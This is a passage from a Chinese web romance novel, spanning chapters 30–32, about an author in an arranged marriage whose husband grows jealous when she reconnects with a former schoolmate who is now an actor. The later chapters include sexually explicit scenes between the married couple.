眼睛晶亮,双颊酡红,脖子后的发丝迎风飞扬,很漂亮。 “没有什么要跟我说的吗?”陆京御抚了下她的脖子边的发丝。 她手指沿着窗框边缘滑动,视线逃避似的又转到外面去,看街头的灯红酒绿,说:“你想跟我聊什么?” 陆京御直截了当地说:“聊,赵临风平时就这样对你?” 江凝烟顿住,她不知道他会这么打直球,不给她躲避的机会。 她没忘记,他们是联姻。 属于强强联手,但陆京御比较倒霉,找的姑娘并不受家族重视。 说不定姥爷联姻的算盘,并不是为了她好为了她的幸福,真正的用意是为了用她的婚姻,给赵临风未来铺路。 但这种话,怎么可能跟陆京御说呢。 她微醺地注视着陆京御,看着他眼底的柔软,心想终有一天,他会发现她没有他预想中的价值。 江凝烟眼眸迷离,神情有些倦怠地道:“陆京御,我好像醉了。” 陆京御微微叹了口气,手揽过她的后颈,把她的脑袋靠在自己肩上,手按下车窗按钮,将车窗升起,“那你靠着我睡。” 江凝烟头顺着他手心的力道搁在他肩头,眼神定定的,想:陆京御你好可怜,以为别人是把掌上明珠托付给你。实则都是为了自己的利益。 陆京御说:“我可以等,但我还是希望这一天早点到来。” “哪一天啊?” “你难过的事可以跟我说的那一天。” 他怕她一个人难过太久。他分明是个有耐心的人,走不进她的心却让他心急如焚。 江凝烟唔了一声。 她才不要。 好丢脸。 陆京御声音很轻,“烟烟,怪我出现得太迟。” 江凝烟睫毛定住,眼神看着他胸口的胸针发直。 陆京御胳膊拥抱住她,说:“但幸好,爱得很快。” 第30章 这姑娘该不会真的很色很色吧? 三天后。 江凝烟断定陆京御要么真不行, 要么根本不爱她,对她没欲望。 这已经是第三天了,他根本就不碰她。 知道他可能有障碍, 江凝烟也不撩他了,毕竟,撩半天几分钟也挺没劲的。 虽然他嘴上功夫不错, 但做人不能太没良心了, 就她一个人爽, 他在那儿干看着, 也挺残酷的。 于是, 江凝烟难得长的一点小良心让她比较安分。 警方那倒是带来了一个好消息, 就是通过查当年在监狱自杀的案件,找到了很多疑点,觉得跟吴雪雯的狱友施玲玉犯有关,是施玲玉在狱中杀了人然后伪装其自杀。警方通过对施玲玉审问,施玲玉承认了是跟吴雪雯共同作案杀了那些孩子们。她出狱后一直遭到吴雪雯的威胁, 所以一不做二不休, 把吴雪雯弄死了。 施玲玉家境不错, 但是有暴力倾向, 在高中时期, 就是因为霸.凌同学入狱的。 江凝烟觉得她的作案心理, 大概是摆脱被吴雪雯威胁是杀人犯的最好办法就是把吴雪雯也变成杀人犯,但最后, 还是气不过吴雪雯这段时间的威胁, 索性把她杀了, 嫁祸给她。 吴雪雯当真是恶人自有恶人磨。 但施玲玉并不承认他们商场坠落那事。 江凝烟也觉得商场坠楼那事应该不是施玲玉和吴雪雯,坠楼发生在她报案之前, 要是她摔死了,她们就没有嫁祸对象了,反而会把自己置入危险的境地。 那坠楼这事要么就是江家要么就是意外。 如果是故意的,陆京御派去的卧底过段时间应该能刺探出些什么。 今天她跟杨总约了顾槐这个男主角的选角。他们已经筛选过几轮了,选出来十个男明星。 超级大ip大制作,原来化雾的剧大爆的都是女主,这次有男主角自然有很多男明星试镜。 下午两点,工作室那儿停了一长排保姆车。 出来的男明星各个帅气逼人。 这场景被隔壁云岱山庄的裴清誉看见了。 裴清誉负责地拍了一堆照片,发给正在工作的陆京御:【哥,你老婆的住址,惊现一堆大明星。男的。帅的。】 裴清誉没收到陆京御的回复,心想他大概是在忙,没看见微信。 裴清誉开始跟他一顿分析,【你老婆怎么会接触那么多明星?她要干什么?这些男明星有几个是当红男星诶。很红的那几位。】 陆京御还是没反应。 裴清誉着急地直接打了一个电话过去。 陆京御正在开会,一看是裴清誉的名字,直接按掉了,继续开会。 裴清誉急得心肝着火,必须得去探个究竟。 他气势汹汹地带着他的小伙伴们去隔壁按门铃。 那时候,江凝烟这边正在看他们试戏。 门铃疯狂响,打断了一个男星的表演。 江凝烟这地方八百年没人按门铃了,难得来按一次,有些纳闷。 门一打开,裴清誉就带着他的小伙伴们,嬉皮笑脸地闯了进来,“嫂子,你这好多明星啊,有我偶像,我也来看看。” 江凝烟:“……” 她看了眼李佳盈,李佳盈还不知道她的身份呢,包括杨总都不知道。 果然,李佳盈看见裴清誉这模样,眼睛滴溜溜地瞧着她,凑在她耳边说:“我丢,姐妹,还买一赠N的吗?这个也好帅,又酷又痞又有些阳光,好帅好帅!介绍介绍!” 江凝烟沉吟片刻。 李佳盈这次失恋是被比她阶层高的人甩的,那渣男分明不打算娶她,还泡她。 裴清誉这位小少爷,每年零花钱都比那渣男全家资产多。 长得也比那渣男俊,李佳盈可能能看上。 这时,杨总出来看了一眼,“欸!裴二少!天呢!裴二少!什么风把您吹来了?!来来来,请进请进。” 李佳盈眼睛更亮了。 什么人,让资方妈妈这么激动? 裴清誉表情有点懵,好像想不起来这人是谁。 杨总滔滔不绝,“今年裴家的代言能考虑下我们家郭若晴吗?” 郭若晴是最近很火的小花。 裴清誉一副拽哥的样,冷着脸说:“不要。” 杨总说:“上次那姑娘不懂事,我们公司已经不要了,这个绝对不这样。” 裴清誉听到这话直接炸了,说:“你说话能不能不说一半?说说清楚行吗?我嫂子在这儿呢,你这话我嫂子误会我,顺带误会我哥交了一群狐朋狗友,你怎么交代?我可没潜规则你的人,是她私下来我酒店找我,被我请出去了。” 李佳盈看他的眼睛瞬间更亮。 裴清誉的形象更加光辉灿烂。 杨总说:“所以我得跟您解释,我保证我绝对不会授意我手下的人做这种事。” 裴清誉根本不信,“你带这么多男明星来找我嫂子做什么?” 杨总:“你嫂子?” 江凝烟把裴清誉拉到一边,半威胁道:“我的书影视化选角。你别多话啊,我不想让他们知道我身份,到时候,都找我帮忙,我全部、全部、全部推给你,让你跑断腿,让你去给他们帮忙。你要是搞不定我再找你哥,就说是你惹的祸,你屁股还擦不干净。” 裴清誉:“……” 感受到了压迫。 江凝烟直接把裴清誉推出去,“工作呢,别打扰我们。” 裴清誉走后,江凝烟一转身,就看见两双眼亮晶晶地看着她。 杨总和李佳盈。 杨总眼睛放光地握住她的手,“你居然认识裴二少?他还喊你嫂子!” 江凝烟说:“那隔壁就是他山庄,认识不稀奇。” 杨总:“关键他喊你嫂子啊!” 江凝烟说:“我现在就是偶然跟他朋友邂逅,熟男熟女谈个恋爱而已,说不上话的,您知道的,他们那阶层,什么阶层。” 杨总说:“说不说得上话,你帮我说说呗,你帮我跟裴二少解释下呗,我真不是这种人,我向来保护旗下艺人从来不强迫他们,但是,他们如果出于私心,我怎么管得住?得罪了裴二少,裴家的生意我是一点都做不了了。哎,我真的是无辜的。” 江凝烟觉得她可不无辜,如果手下的人搭上了靠山,以后资源多多她还能分钱,怎么可能去约束? 既然是利益相关方,说什么无辜呢。 只不过,不小心踢到了裴清誉这块铁板。 江凝烟说:“真说不上话。我可以顺一句。” 杨总回去试镜了,李佳盈跟江凝烟窃窃私语,“这个人是谁啊?杨总那么巴着?好久没见杨总这种态度了。” 江凝烟说:“京城哪家裴家最厉害就是那个裴。” 李佳盈双眸发光,像灯泡一样,“啊!天呢!那么厉害!那不然介绍认识认识?” 江凝烟不想两个圈子有交集,“他有白月光。” 当然白月光已婚。 李佳盈说:“那有什么关系,既然是白月光就是没得到。不算三。” 江凝烟揣测她的心思,直接问她:“你该不会想搭上他报复前男友吧?” 李佳盈一脸被拆穿的惊慌。 江凝烟淡笑了一声,“就你什么都摆脸上的心思,能骗得了他?” 他虽然不聪明,但也没那么傻。 别到时候,前男友没报复上,自己搭进去了,毕竟裴清誉那样子还是很招人喜欢的。不聪明但有些可爱,还特别有钱。 李佳盈晃着她的手说:“哎呀,下次跟你男朋友约会叫上我,不一定是裴清誉啊,万一这其中有人跟我有缘呢。” 江凝烟理解她最近肯定特别想向上社交,但她担心给自己惹来麻烦,万一到时候她在裴清誉那儿受了挫,然后看她跟陆京御,她担心她的心态会发生变化。 自从吴雪雯的事件后,她向来是拒绝这种吃力不讨好的事的。 她一犹豫,就像揭了李佳盈的伤疤,李佳盈忽然像要哭出来,却坚强地含泪笑道:“算了。你说得对,有白月光我瞎凑什么热闹。” 她转身进去。 江凝烟看着她的背影,知道李佳盈大概是在瞎想,以为她觉得她配不上这个圈子的男人吧? 不是。 她从来不会这么想。 她知道阶级差存在,但她从来不认为那是对的。 她冷漠,但并非是非不分。 阶级存在,向来如此,但她并不认为这是正确的。 不是正确的,却是现实,却是无可奈何。 她在这方面反而是共鸣李佳盈的,因为她虽然阶层高一些,但她一样被压迫。甚至,她所处的阶层更现实。 她跟李佳盈相处那么久,讨论很多喜欢的作品,喜欢的角色,相处很愉快。李佳盈挺好的,但她真的害怕被伤害。 江凝烟扶额,她怎么回事啊? 好像自从陆京御夕阳下那次血战,她开始会内耗了。 她并不喜欢内耗。 男演员很快敲定了。 长相、演技都很出众,非常优秀专业的演员,对方试完戏的时候还加了江凝烟微信,说万一有人物心理揣摩不准的地方,想问下她这个原作者。 江凝烟当然好。 这时候,陆京御电话打来了,“去工作室了?” “你怎么知道?” “小誉说的。” 江凝烟想到刚才裴清誉急匆匆的,像是来捉.奸那模样,“别告诉我是你指使他过来的啊?” 那她可就惊喜了,陆京御会吃醋了。 陆京御说:“不是。我哪那么大醋劲?我在开会,没看见,现在才看见。” 江凝烟听见这句话莫名有点失落。 这哥根本不会吃醋啊。 还说爱她。 爱她怎么可能不吃醋啊? 陆京御还很骄傲地说:“还挺惊喜,你居然有这话语权,一般作者没有。” 江凝烟笑了下,兴奋地说:“嗯嗯嗯!第一次大开眼界,明星真的跟普通人有壁!我果断挑了个最帅的!” 陆京御:“???” 这语气,用得着这么兴奋吗? “回聊!我忙啦!” 嘟嘟嘟—— 电话被挂断。 陆京御看了眼手机。 这时候裴清誉又来短信轰炸:【哥你真的要注意,不要以为自己又有钱又帅就万无一失了,那个杨总,不是什么好东西。我差点就被吃干抹净了。】 【万一嫂子家世藏不住,嫂子又那么漂亮,那个帅哥啊前赴后继啊。】 陆京御心想他想多了吧? 知道她家世也基本知道她老公是他了。 还敢前赴后继? 不怕死? 结果裴清誉小嘴叭叭说:【不是对明星有什么想法,只是什么行业都有认真的人和想走捷径的人。现在有些思想不端正的人最喜欢勾搭有权有势的已婚少妇了,偷偷的,她又不会声张,但好处多多啊。】 陆京御忽然想起某人想上他的时候那个好色劲,脸色阴沉地点开裴清誉发过来的照片,看了眼。 裴清誉还深怕他没有危机感,连续不断发人家的帅照过来。 【你看看这多帅啊。】 【人怎么能长得这么帅呢?】 【这谁挡得住啊?】 【你看看网上多少女孩子上网当皇帝就知道了。女孩子就是喜欢各种帅哥。】 陆京御冷着脸给他回了条,【别瞎揣测你嫂子。婚姻最关键的是信任。】 裴清誉:【是是是。就给你提个醒没别的。嫂子有你这么信任她的老公好幸福啊。】 陆京御也觉得江凝烟挺幸福的,如果小时候没有那么幸福,长大后碰到他一定余生都是幸福的。 陆京御又回了一条:【我还比他们帅。】 裴清誉抱着手机哈哈大笑。 江凝烟正好跟李佳盈一起从工作室回去,顺路把李佳盈捎回家。 李佳盈那一路上话特别多,说哪个男明星真人比上镜帅,没想到真人这么帅,演技还好。说哪个不能看演技还差,不知道怎么红的。 江凝烟知道她在掩饰刚才两人之间的尴尬。 把李佳盈送到家的时候,李佳盈给了江凝烟一个大大的吻。 江凝烟猝不及防。 李佳盈笑着说:“宝贝,不用感到为难,永远是好姐妹。” 她今天因为见明星,画了比较浓的妆,唇彩抹得红艳,印在江凝烟的脸上。 江凝烟还挺高兴这个吻的,心里都轻松多了。 乐颠颠地顶着这个大红唇印回家了。 一回到家,陆京御就看见她脸色的大红唇印,心里咯噔一声。 这是……男明星留下的? 江凝烟看他盯着她的脸看,扭头看了下玄关镜,看见自己脸上的大红唇印,挑挑眉道:“社交吻。” 陆京御:“……” 社交吻。 呵。 他也社交,但从来不会让女人碰到他身体,跟别提脸了。 这姑娘,该不会真的很色、很色、很色吧? 但,陆京御想到他甚至没有限制她的权利,毕竟他们的夫妻关系还不真实,她随时可以撤出。 他很想知道是这些男人中,哪个胆肥的胆敢吻她,但他又担心她说他越权。 啊对,她说只要他越权她会立刻离婚。 跟他做是她想要的,所以他顺势跟她做了,他也不担心。 但他还没权利管她。 那些个条条框框一条条在他脑海里徘徊,像紧箍咒一样,他觉得疼,但无可奈何。 他转身,怕自己失控,佯装回微信,沉默地转过身往楼上走。 他走进了卧室,胸口憋着一股邪火,很想问她到底什么意思,现在他们这阶段,她能不能把那些删掉。她到底有没有点喜欢他? 可他也知道不能操之过急。 其实他们接触的时间很短。他一直问这个,挺没劲的,反而容易吓跑她。 他换了身运动装下来,去健身房发泄。 江凝烟已经擦干净脸,就坐在客厅里看电视,见他下来自然而然看了他一眼。 她在打电话,拿着手机在给人讲解人物心理,笑容灿烂,小嘴巴拉巴拉,“对对对,就是这样,你很有悟性。他就是这个心态。” 对方好像说了奉承的话,她笑得前俯后仰,“哈哈哈,是我讲得好?真的吗?我还怕我讲得不够清楚。你能理解就真的太好了。” 陆京御像是没见到她,直接往健身房走去。 江凝烟放下电话往嘴里气呼呼地丢了颗草莓。 还说爱她,都是骗人的。 这都没反应,一点醋都不会吃。 健身房。 “嘭——”一拳砸到沙包袋上。 只是社交吻而已。 他不该介意。 他不能用他的社交标准来要求她。 “嘭嘭嘭——”三拳砸到沙包袋上。 只是跟人家聊角色心理而已,他在工作上也不可避免的会跟女性接触。 他不该介意。 要是工作接触异性他就不高兴那他会被气死! 但他不会笑得这么开心!!! 他只会非常官方的微笑!!! 她就不一样了,分明很快乐! “嘭嘭嘭——” 拳砸下去,背上的伤口被拉扯得有些疼,他分明不宜多练拳,但他根本不想停。再扯裂了才好,让她这个小没良心的,看看她都干了什么好事。 良久,他拳击停下来的,喘着粗气。 他告诉自己冷静、深呼吸、吸气、呼气,等会吃饭了,别出去把她吓到了。 他好不容易调整好情绪,却听见外面传来她爽朗的笑声,“哈哈哈哈哈哈哈哈哈!真的吗?我那么漂亮?” 30-40 第31章 “我等于今晚第一次开荤。” 陆京御直接把拳击手套摘了丢下地上。 两块拳击手套落地声重得像是石头砸下来。 他猛地拉开门。 气势汹汹。 好色是吗? 巧了。 他有的是! 那就让她在他的床上沉沦、迷醉、深陷, 不能自拔。 门嘭的一声,门把手撞在墙壁上。 声音很响亮,吸引了江凝烟的注意力。 江凝烟被吓了一跳, 惊慌的视线往那儿扫去。 陆京御在捕捉到她惊慌的视线的时候,理智忽然回笼。 他顿在原地。 万一把她吓哭了,心疼难受的还是他自己。 他强忍住此刻想把她抱上楼的冲动, 手背上的血管凸起, 微微鼓张着收缩着, 跳动。 他唇角扯出抹笑, 缓步向她走去, 解释道:“不知道哪来的风吹的, 吓到你了?” 江凝烟捂着话筒,愕然。看着他目光一时半会都挪不开。 陆京御运动后的样子有些不一样。 他没戴眼镜,穿着一身黑色的运动服,黑色长袖吸汗T恤外面套了件黑色背心,穿搭特别酷, 劲劲的。 他鬓角的汗水滴落, 她心头也潮成了一团水, 软糯糯的。 陆京御见她眼神定定, 还以为他表情控制不佳, 吓到她了, 笑了下,“我上楼洗澡。” 等他走了, 江凝烟的心脏还在胸膛怦怦怦地热烈地跳动。 还没把他惹吃醋, 自己反而先被勾引了。 这哥好有型。 运动之后汗涔涔的都这么酷这么好看。 江凝烟按灭手机。 手机里根本没有声音。 人家男演员哪有这么空, 跟她讨论剧情。 一天到晚忙得要死的男演员,哪来的空钻研啊。 她假装打了半个多小时电话, 他也根本不在意。 再不看着点,她都要精神出轨了,也完全不在意吗? 他还问她在不在意他,她看他也没多在意她。 江凝烟微微叹了口气。 想到了王亦薇和林嘉宇。 王亦薇只要多看一眼别的男人,林嘉宇就发疯。 这才是爱吧。 陆京御永远成熟、冷静、理智、温柔。 陆京御洗了澡下来,穿了家居服没戴眼镜。薄薄的丝贴在他宽阔的胸肌上,令人垂涎。 可惜啊,只中看不中用。 她好奇地问他:“你不戴眼镜也可以?” 陆京御说:“我视力两眼都5.0。” 她震惊,“那你天天戴着眼镜?” 陆京御讳莫如深地笑了下。 江凝烟:“你就是为了装饰啊?” 陆京御说:“有人说我的眼神太凶了,会吓到人。” 江凝烟仔细瞧他的眼,很漂亮的丹凤眼,生来帝王之气,确实很有威慑力,戴着眼镜会柔和朦胧很多。 “有人?”江凝烟好奇地问,“谁啊?” 陆京御又是讳莫如深的笑。 江凝烟狐疑,追问了一句,“谁啊?” 陆京御那表情好像在遮掩什么。 江凝烟心里咯噔一声。 她忽然发现自己不了解陆京御,他这二十八年,身边有过谁,谁在他心里留下过痕迹,她一点都不知道。 一个男人二十八年还是处男到底为什么。 莫非是年少时期有什么白月光,后来因为什么没成。 跟她结婚就是退而求其次? 但因为她是妻子了,他也会爱护? 江凝烟皱眉,顿时气炸了,想问他究竟怎么回事。别口口声声一个爱她欺骗她感情。 这时,她手机忽然响起来了。 居然是微信语音,就是今天那个男演员陈熠鑫。 她内心冷笑,站起来,走到离陆京御不近不远的窗边,接起来。 陈熠鑫那边的声音听着很舒展自若,完全没有白天那么礼貌拘束,有种自来熟,好像跟她很熟悉的样子,“江凝烟,没想到你就是化雾老师。” 江凝烟没想到他知道了她的真名,愣了一下。 陈熠鑫说:“瑞京中学的,你初一的时候,我高一,你不记得我了啊?” 瑞京中学是初中部跟高中部在一起的,江凝烟努力回想,好像高年级确实有一张很牛逼的脸,很有存在感,但是她那时候自己过得一塌糊涂,浑浑噩噩,根本不会去注意谁长得好看。 江凝烟:“啊,想起来了。你跟高中的时候长得有点不一样。” 陈熠鑫忍俊不禁,意有所指地道:“谢谢夸奖。我就当你夸我更帅了。” 江凝烟哈哈大笑,“原装的原装的,就是打扮了一下,气质更好了,红气养人。” 陈熠鑫说:“我们那时候还见过一面,你记得吗?爱思考的烟儿。” 江凝烟:“…” 他这昵称一说出口,江凝烟那段时间混乱的记忆有些片段清晰了起来。 初中的时候,江凝烟正混乱,喜欢胡思乱想,比如:人为什么会被关在学校里读书? 这种人生问题她会写下来。 江家动不了她也懒得在她身上多花时间,瑞京中学是个寄宿制学校,大多数时间都在学校里刷题。她有生存危机,不知道这些题,对她活命有什么帮助。 有一天,学校举办校庆,她那几天姨妈驾到,有劲没处使,坐在观众席上百无聊赖。 就开始思考人生。 随手又在便笺本上写:这个世界究竟有多少谎言? 为什么大人说的每句话都得打个问号? 为什么先苦后面可能是更苦,但大人只会告诉他们先苦后甜? 为什么作业写不完不会死,但好像作业写不完就会死? 她啰啰嗦嗦写了一堆废话之后,走的时候那本小便笺从口袋里落了。 她挺重视她的手稿,等她发现她的便笺落了之后,她就回去找。 座位上,她走过的路,都没有这本手稿。 台上有人独自在跳舞。 她问他:“有没有看见有人捡了一本小本子?” 台上的人:“作业写不完?” 她气死了,说:“你干嘛看我东西?” 他停下独舞,伸手在边上的椅子上书包下取了个本子,“想知道这本子谁的,随便翻了点。作业写不完不会死,没事的啊。” 她不高兴地否认:“没有,我写得完。我是说别人,这是一种现象。” 陈熠鑫从台上下来,把本子递给她,说:“爱思考的烟儿。你这么想下去,CPU得烧干了。” 她想到这个本子的时候,脑子里忽然有另外一段记忆清晰起来。 那天她在姥爷家,姥爷家办聚会,很多人。那时候已经高中了,她跑来跑去又把这本本子落了,等她找到的时候,发现陆京御倚着长廊的栏杆,在夕阳下翻看。 她顿时气炸了,人不可貌相,夕阳的光辉都没有他昳丽的一个人,这么斯文这么矜贵的一人,居然干出窥探别人秘密的事。 她就差飞过去,像是踩着风火轮般冲到他面前,把这个本子抢回来。 陆京御居然不给,手抬得很高,叮嘱她说:“小小年纪,别早恋。等长大了,会有人爱的。” 他表情严肃,好像她不答应,他就不给似的。 她知道他大概看了那句“为什么他夸她可爱,却根本不爱她。”误会她早恋了。 但他显然低估了这本本子对她来说的重要性,她单脚踩到长廊的石凳上,直接往他身上扑,趴在他肩上,把本子成功抢回来了。 然后瞪了他一眼,气冲冲地走了。 江凝烟瞥了一眼若无其事在吃饭的陆京御,收回眼神,笑得灿烂,“哈哈哈,学长你还记得啊?少女心事,求你了,千万不要说出去,太丢脸了。” 陆京御眉心一蹙,勺汤的手一顿。 这两人是旧相识? 还少女心事? 她什么少女心事? 这时候,他脑子里忽然想起来一句:为什么他夸她可爱,却根本不爱她。 这个“他”难道就是这个男明星? 他觉得有可能。 或许,这两人要是学长学妹,在学校里的耀眼程度毋庸置疑。 但陈熠鑫只要是个人,在学校也不会对这么小的学妹下手。 这就产生了“为什么他夸她可爱,却根本不爱她。” 难怪她跟他聊天能聊这么激动,这么开心。 这时,江凝烟语气十分惊喜地问他:“啊?你不忙吗?你有空啊?” 陆京御脊背僵住。 这是要约她出去了? 她会去? 她会在已婚状态下,跟她白月光,去约会? 江凝烟笑眯眯地欣喜道:“好啊。” 陆京御拳倏地拽紧。 她去,她没有任何犹豫。 她好像完全自由。 他们分明结婚了,她要单独跟异性出去吃饭,都不跟他一声招呼,就直接点头答应了。 陆京御胸腔像是被塞满了棉花般憋闷,然后,棉花被点着了火,熊熊烈烈地燃烧了她整个胸腔。 “明天晚上吃晚饭?可以啊。你定地方吧,我不知道大明星在哪儿吃饭合适。” “好。那明天见。” 明天见? 陆京御在内心冷笑一声,明天,他们想见?当他死了? 江凝烟电话还没切断,两人还在“拜拜来拜拜去”…… 这时候,身子忽然被陆京御翻转,他结实的大腿,逼着她的腿,两三步就被顶在墙壁上。 江凝烟心脏猛地一跳。他灼热的鼻息洒在她的脸上,比平时烫。一身的肌肉隔着单薄的睡衣压过来,这压迫感令她脸红心跳。 “烟烟。”陆京御的额头抵着她,腿将她牢牢禁锢住,“明天估计不行呢。” 江凝烟睫毛颤了下,腿被他压得脚没地儿站,微微动了下,却被他压得更紧。她几乎脚尖站地,腿轻轻打着颤。 她呼吸急促起来,“为什么不行?” 陆京御的舌猝不及防地探进她口中,攻城略池。 江凝烟差点忍不住呻.吟出声,但不确定电话有没有挂掉,强忍住了。 陆京御双臂穿过她的腿弯,将她抱起来,一边走一边吻,“第一次之后,得等三天。” 江凝烟脑子浑浑噩噩,身体颠簸着,恍然之间懂他什么意思了。 陆京御哂笑。 第一次,他笑得让江凝烟觉得好邪恶。好像贪婪的野兽露出了他湿淋淋的尖尖的獠牙。 她屏息。 陆京御吸着她的舌,席卷着,直到她呻.吟出声才微微撤开了一点,“我等于今晚第一次开荤,你说为什么?” 第32章 “接着哄我,骗我啊。” 江凝烟不知道自己怎么到浴室里的。 那个宽敞的台面上多了块毛绒绒的狐狸毛软垫。 她坐在上面腿被cheng得很开。 “少女心事?”陆京御黑沉沉的眼睛盯着她, 眼神又侵略又恶劣地看着水灵灵的她。 江凝烟撑在软垫上的手指猛地蜷紧,咬紧的牙关里忍不住泄出一声呻.吟。因为他手,恶劣地gou了她几下。 “什么少女心事, 可以跟我说一下吗?”陆京御声音很低很磁,却跟往常的温柔不一样,很有压迫感。 江凝烟本来下意识地闭着眼, 听见他说这话眼皮撩开一条缝隙悄悄看他的神情。她看见他视线落的地方……让她脸皮再厚都觉得羞耻。 她喘息着, 呼吸剧烈起伏, 却还是胆子很大地说:“你猜少女都什么心事。” 陆京御眼眸里像是有黑压压的云在翻滚, “喜欢过他?” 江凝烟不说话, 不承认也不否认。 她心脏怦怦怦跳动, 他是在吃醋,还是只是受不了妻子跟别人暧昧? “还喜欢他吗?”陆京御眼里那团黑云像是有闪电穿透,散发着贯/穿性的凌厉的光。 江凝烟手忽然攀住他的背肌,她坐不稳了,咬牙在他耳边呜咽。 “睁开眼看看谁在爱你。”陆京御第一次没管她在呜咽, 逼得她越来越狠, 江凝烟指甲掐住他的背肌。 “看着。”陆京御又说。 江凝烟很想闭上眼, 但他很坏, 另一只手也压在外面, 逼迫着她。 这是他前两次找到的经验, 她根本受不了这样,顺从他的意思看着他。 洗漱镜里照映出的画面太刺激, 她脸蛋烫得能出蒸气。 他勾唇恶劣地笑了一下, “看见了?” 江凝烟一只手撑着一只手过来抓住他青筋凸起的小臂。 问题是她这时候柔软无力, 根本使不出力气阻止他的小臂。 她呼吸彻底乱了,凌乱又急促。 他知道她这时需要一点点时间缓和, 但他没给她时间,将她从台面上捞起来,压在冰冷又潮湿的大理石墙壁上。 江凝烟的脊背感受到一片冰冷的刺激,身体下意识地往热源那儿贴。 陆京御的身体压迫着她,两条湿透了的小臂肌肉偾起,勾住她的腿弯,将她压在湿冷的墙壁上,“是谁在爱你?” 江凝烟正是最敏/感脆弱的时候,尖叫出声,勾住他的脖子。她本就湿漉漉的眼睛更加迷蒙,她把脸藏进他的颈窝。 陆京御轻笑着说:“别躲啊。叫我名字。” 江凝烟喊不出声。这个坏人,她魂都被他整没了,还要她说话。 她喘息着,唇齿间只溢出一串压抑的叫声。 “你现在喜欢我吗?”他的语气很温柔,像是在蛊惑她,让她顺着他的问题回答,但是行为很凶狠。 江凝烟不知道。 喜欢身体可以算喜欢吗? 她分不清现在对他有几分喜欢。 反正对赵熠鑫不可能有感觉是真的。 他像是读出了她的心理活动,发狠了,“还是,只喜欢我这样对你?不是喜欢我?” 江凝烟觉得大地像是在震动,她像是来到一个末世之地,火山在爆发,大地裂成几半,脚下还在震动摇晃。 她连连失声尖叫。 不知道他是怎么读懂她的心思的,她分明什么都没说。 “这会怎么这么老实,不骗人了?”陆京御咬着她的耳垂。 还是,白月光出现了,你就懒得骗我了? 骗骗我也嫌太费心思了? “接着哄我,骗我啊。”他眼尾噙着水气,湿漉漉的,靡丽却有几分凶狠,身体分明像运动员很带劲,语调倒是像是歌手,缓缓的,拉长着调,声音也磁性。 江凝烟也想哄,但已经晕晕乎乎完全不知道怎么哄了。 脑子里像是被塞满了热气,根本转不动。身体里的细胞都被换成了热气。她整个人都被蒸发了。 浑身被蒸烫的血液还在不断往脑海里涌,掀起阵阵波涛。 “这时候知道老实了?”陆京御哂笑道。 他一开始一直希望她别骗他,可她真的老实巴交不说谎话的时候,他清清楚楚地知道她不爱他的时候,心像是被一片一片生生撕裂了。 她不爱他。 甚至可能心里藏着别人,他逼都逼不出来一句爱。 跟他结婚是权衡利弊。 浴室里的热气熏得他的眼尾更红,他眼眶都在发红。 陆京御狠狠吸了口她修长的脖子,声音压了一下,道:“太老实,不会哄人,会吃亏的知道吧?” 他像是在狠狠罚她。 江凝烟眼尾直接出了眼泪,浴室里的潮气加上她的眼泪,她整个人像是从热水里捞出来的。 江凝烟从浴室里出来她瞥见卧室里的钟,居然已经十点多了。 她们吃完饭才不到七点钟。 她真的在浴室里吃了好多亏。 狡黠圆滑的江凝烟人生第一次吃老实人的苦。 她实在累死了睡着了。 因为睡得比平时早,半夜凌晨倒是又醒来了。 她的手摸到硬邦邦的紧致的肌肤。虽然昨晚是她想要的感觉,她终于体会到那种刺激了,但这人狠起来真狠,肚子好酸好胀,得趴着能舒服点。 想起他昨晚说今晚都下不了床,黑暗中,她睁着眼,空洞地看着天花板,考虑是否要跑路。 万一他认真的,白天还不肯放她走,一天在床上她真的吃不消。 一想到跑路,耳朵像是被堵住了,心跳声在耳边清晰放大,声如擂鼓。 莫名其妙紧张起来。 发现自己紧张,江凝烟对自己严重唾弃。 昨晚do了快四个小时,就怂了? 她怎么可以被睡怂? 她绝对来去自由。 绝对自由! 话虽如此,她依旧轻手轻脚地掀开了被子,深怕惊醒了他。 就悄咪咪地回到自己的工作室,自己的地盘,省得再do一天一夜。 她的脚尖沾地,像只猫儿一样捏手捏脚地走,一点声音都没发出来,连呼吸声都屏住了。 拧门的时候,她紧张得手心冒汗,像是背后有头狮子,随时会被惊醒。 她手像羽毛一样落在手柄上,轻微扭动,转动的时候,咔哒一声轻响,她的心跳快跳出喉咙口。 好在,他没醒,睡得很沉。 啧啧。 二十八岁了,使了这么大劲弄她,自己也挺累的吧。 掏空了吧。 该、该、该! 她没有关门,深怕关门声惊到他。 她其实只想立刻走,但她的车钥匙还在她的房间里,她打开门进去,顺便把自己的电脑和衣服也都收拾了。 行李箱准备完毕,哪怕他在隔壁睡着,她还是提着行李。 门打开的瞬间。 “嘭。”的一声巨响,行李箱砸到地上。 陆京御光着上半身,穿了条裤衩松松垮垮地系在八块腹肌下面,他好像有些激动,臂膀的肌肉,手背上几条凸起的血管,饱满鼓起。 他甚至没开灯,整个人完全浸在黑暗里。只剩他冷白的肌肤在黑暗下反着光,块状分明。 “去哪儿啊?”听不出情绪的一句问话。 江凝烟心里咯噔一声,立刻怂巴巴地说:“我醒了睡不着,把我的衣服和电脑搬来你房间。” 陆京御没再说话,探过臂膀一手接过她的行李,一手牵过她的手,把她带进了他的房间。 房门关上,他把她领到衣帽间。 然后,蹲在地上,把她的衣服一件件理出来。 气氛死一般的沉默。 他一句话不说。 江凝烟低头看着他宽阔坚硬的背肌,看他默不作声地帮她理衣服。 她心脏有种怪异的感觉,好像有什么无形的丝线缠绕住了。 他将她的衣服一件件挂起来,她知道他要将衣服放在哪一栏了,也跟着一起放。 她本就没打算来这儿常住,衣服只带了些平时换洗的,一共就带了四五套衣服,挂在一整排空柜子里,一点都塞不满,衣柜空空荡荡的。 江凝烟心里那根线好像缠得更紧了。 她垂下眼睫,说:“睡……呜。” 陆京御凶狠地吻了上来,小臂箍着她的腰将她抱到衣帽间的梳妆台上。 她呼吸一下子乱了,身上的血液像是被点燃了般烧起来,从内脏到皮肤都在燃烧。 她的腿被他挤得分开,坐在梳妆台上。 陆京御吞噬着她的呼吸,等到将她的空气夺光了,才咬着她的唇畔说:“这梳妆台,是为你准备的。” 江凝烟心尖在颤,眼眸含水看着他,潋滟动人。 陆京御又狠狠地吻她,一手扣着她,一手把她的裙摆贴着她腿部的肌肤往上卷。 她身后的梳妆台镜子是方形的,四周有几圈极亮的灯带。平时化妆的时候需要光线。 人放在这儿,肌肤白得不可思议,又透又亮又白。 衣帽间四处也都是镜面的,她抬眼就看见这令人脸红心跳的场景。 陆京御吸着她的舌,啜吻着,哑声道:“那排柜子也是给你准备的,可惜,你只带了这几身衣服。” 